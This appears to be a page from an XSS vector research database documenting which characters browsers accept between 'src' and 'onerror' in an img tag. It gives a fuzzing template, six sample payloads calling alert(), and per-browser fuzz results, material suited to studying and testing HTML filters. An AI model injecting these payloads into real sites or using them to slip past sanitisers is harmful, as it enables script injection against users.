Characters allowed before onerror events
6
6
6This XSS vector shows what characters can be used before the onerror event.
Created byhackvertor
Created Mar 30, 2024
Updated May 26, 2025
Detecting browser...
CategoryHTML Parsing
VisibilityPublic
TypeXSS
CharsetUTF-8
Template used:
<img src $[chr]onerror=log($[i])>Sample payloads
<img src 0x09onerror=alert(9)><img src
onerror=alert(10)><img src 0x0Conerror=alert(12)><img src 0x0Donerror=alert(13)><img src onerror=alert(32)><img src /onerror=alert(47)>Fuzz results
Chrome 145.0.0.0 desktop Windows NT 10.0
Updated17 Feb 2026
Found 6 results
Loading...
Chrome 144.0.0.0 desktop macOS 10.15.7older version
Updated17 Feb 2026
Found 6 results
Loading...
Chrome 123.0.0.0 Unknown Unknownolder version
Updated30 Mar 2024
Found 6 results
Loading...
Firefox 147.0 desktop Linux
Updated1 Feb 2026
Found 6 results
Loading...
Microsoft Edge 145.0.0.0 desktop Windows NT 10.0
Updated18 Feb 2026
Found 6 results
Loading...